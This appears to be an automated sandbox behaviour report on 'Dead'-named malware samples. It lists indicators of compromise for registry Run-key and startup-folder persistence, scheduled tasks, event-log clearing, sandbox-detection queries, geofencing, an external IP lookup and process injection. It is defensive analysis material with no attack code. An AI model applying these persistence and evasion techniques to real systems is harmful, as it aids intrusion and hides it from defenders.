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Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	DealarOrDeadCode.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	DeadROOTkit.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	DeadXClient.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Deadsvchost.lnk	DeadXClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Deadsvchost.lnk	DeadXClient.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeadROOTkit.lnk	DeadROOTkit.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeadROOTkit.lnk	DeadROOTkit.exe

Executes dropped EXE 9 IoCs

pid	Process
1676	DeadXClient.exe
1792	DeadROOTkit.exe
3520	DeadCodeRootKit.exe
4432	Deadsvchost.exe
3272	DeadROOTkit.exe
4304	Deadsvchost.exe
4252	DeadROOTkit.exe
2112	Deadsvchost.exe
3560	DeadROOTkit.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 4 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	svchost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Deadsvchost = "C:\\Users\\Public\\Deadsvchost.exe"	DeadXClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DeadROOTkit = "C:\\Users\\Admin\\AppData\\Local\\DeadROOTkit.exe"	DeadROOTkit.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Drops file in System32 directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Deadsvchost	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\DeadROOTkit	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 312 set thread context of 4856	312	powershell.EXE	91

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadCodeRootKit.exe

Checks SCSI registry key(s) 3 TTPs 21 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018400F3999590B"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 19 Sep 2024 06:28:20 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018400F3999590B = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000273b68ebf60ea0448ae0d5b372d69346000000000200000000001066000000010000200000009279070a156969bdf2c5d1d8669f97ca90a53f9675d24e895e2dcbdef6cb042b000000000e8000000002000020000000ba17d7dc881f0159d3336cd492d6decfbee5257007744fdea710ac56ce943098800000002dbf784420fe1ea7251774197dc0302399d5a1643a35e48a1e89fde9d0032b610cd0e68562f0e2baa40ba8a23e6505b22bf1c831c603f40794afeb78b83529ce3496e45700ed6786fe1b2cbbec3145c33b4b2eeb96dbde828d096abd743c426293f08db23756d4f6a3d62b19f2435ede368c96a7c24cd842dfc350f33260351540000000ea9a75dc0cc83f44e6f23931af655d8c274d19e9adc2a0155025fe5ed701f3f270a8422fce2787a29ce8345049b09ccdb0267c8c54f018b89f82d51307d878c9	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe

Modifies registry class 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5000	schtasks.exe
3280	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1792	DeadROOTkit.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
312	powershell.EXE
312	powershell.EXE
312	powershell.EXE
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4992	wmiprvse.exe
4992	wmiprvse.exe
4992	wmiprvse.exe
4992	wmiprvse.exe
4992	wmiprvse.exe
4992	wmiprvse.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
916	powershell.exe
916	powershell.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
2756	powershell.exe
2756	powershell.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
2112	powershell.exe
2112	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3492	Explorer.EXE
1196	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1676	DeadXClient.exe
Token: SeDebugPrivilege	1792	DeadROOTkit.exe
Token: SeDebugPrivilege	312	powershell.EXE
Token: SeDebugPrivilege	312	powershell.EXE
Token: SeDebugPrivilege	4856	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2076	svchost.exe
Token: SeIncreaseQuotaPrivilege	2076	svchost.exe
Token: SeSecurityPrivilege	2076	svchost.exe
Token: SeTakeOwnershipPrivilege	2076	svchost.exe
Token: SeLoadDriverPrivilege	2076	svchost.exe
Token: SeSystemtimePrivilege	2076	svchost.exe
Token: SeBackupPrivilege	2076	svchost.exe
Token: SeRestorePrivilege	2076	svchost.exe
Token: SeShutdownPrivilege	2076	svchost.exe
Token: SeSystemEnvironmentPrivilege	2076	svchost.exe
Token: SeUndockPrivilege	2076	svchost.exe
Token: SeManageVolumePrivilege	2076	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2076	svchost.exe
Token: SeIncreaseQuotaPrivilege	2076	svchost.exe
Token: SeSecurityPrivilege	2076	svchost.exe
Token: SeTakeOwnershipPrivilege	2076	svchost.exe
Token: SeLoadDriverPrivilege	2076	svchost.exe
Token: SeSystemtimePrivilege	2076	svchost.exe
Token: SeBackupPrivilege	2076	svchost.exe
Token: SeRestorePrivilege	2076	svchost.exe
Token: SeShutdownPrivilege	2076	svchost.exe
Token: SeSystemEnvironmentPrivilege	2076	svchost.exe
Token: SeUndockPrivilege	2076	svchost.exe
Token: SeManageVolumePrivilege	2076	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2076	svchost.exe
Token: SeIncreaseQuotaPrivilege	2076	svchost.exe
Token: SeSecurityPrivilege	2076	svchost.exe
Token: SeTakeOwnershipPrivilege	2076	svchost.exe
Token: SeLoadDriverPrivilege	2076	svchost.exe
Token: SeSystemtimePrivilege	2076	svchost.exe
Token: SeBackupPrivilege	2076	svchost.exe
Token: SeRestorePrivilege	2076	svchost.exe
Token: SeShutdownPrivilege	2076	svchost.exe
Token: SeSystemEnvironmentPrivilege	2076	svchost.exe
Token: SeUndockPrivilege	2076	svchost.exe
Token: SeManageVolumePrivilege	2076	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2076	svchost.exe
Token: SeIncreaseQuotaPrivilege	2076	svchost.exe
Token: SeSecurityPrivilege	2076	svchost.exe
Token: SeTakeOwnershipPrivilege	2076	svchost.exe
Token: SeLoadDriverPrivilege	2076	svchost.exe
Token: SeSystemtimePrivilege	2076	svchost.exe
Token: SeBackupPrivilege	2076	svchost.exe
Token: SeRestorePrivilege	2076	svchost.exe
Token: SeShutdownPrivilege	2076	svchost.exe
Token: SeSystemEnvironmentPrivilege	2076	svchost.exe
Token: SeUndockPrivilege	2076	svchost.exe
Token: SeManageVolumePrivilege	2076	svchost.exe
Token: SeAuditPrivilege	2828	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2076	svchost.exe
Token: SeIncreaseQuotaPrivilege	2076	svchost.exe
Token: SeSecurityPrivilege	2076	svchost.exe
Token: SeTakeOwnershipPrivilege	2076	svchost.exe
Token: SeLoadDriverPrivilege	2076	svchost.exe
Token: SeSystemtimePrivilege	2076	svchost.exe
Token: SeBackupPrivilege	2076	svchost.exe
Token: SeRestorePrivilege	2076	svchost.exe
Token: SeShutdownPrivilege	2076	svchost.exe
Token: SeSystemEnvironmentPrivilege	2076	svchost.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
3492	Explorer.EXE
3492	Explorer.EXE
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
3492	Explorer.EXE
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
3492	Explorer.EXE
3492	Explorer.EXE
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
